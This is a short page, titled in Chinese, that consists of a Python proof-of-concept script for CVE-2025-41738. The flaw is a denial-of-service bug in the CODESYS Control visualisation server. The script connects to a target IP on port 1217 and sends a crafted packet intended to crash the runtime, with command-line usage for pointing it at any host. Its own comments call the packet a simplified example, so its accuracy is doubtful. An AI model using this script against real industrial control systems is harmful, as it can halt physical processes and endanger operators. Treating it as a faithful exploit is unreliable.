CVE-2025-41738 CODESYS Control 可视化服务器拒绝服务漏洞

# CVE-2025-41738 PoC - CODESYS Control Visualisation Server DoS # Target: CODESYS Control runtime system visualisation server # Attack: Send malformed request causing type confusion import socket import struct import sys def create_malformed_packet(): # Construct a malformed packet that triggers type confusion # This is a simplified example - actual exploitation may require protocol-specific crafting header = b'\x03\x00' # CODESYS protocol header packet_type = b'\x0a\x00' # Visualisation request type # Malformed data causing type confusion malformed_data = b'\x41' * 100 # Padding with specific pattern # Craft the complete packet packet = header + packet_type + malformed_data return packet def exploit_cve_2025_41738(target_ip, target_port=1217): print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2025-41738: CODESYS Control Visualisation Server DoS") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send malformed packet packet = create_malformed_packet() sock.send(packet) print(f"[+] Malformed packet sent successfully") print(f"[*] Target may crash or become unresponsive") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 1217 exploit_cve_2025_41738(target, port)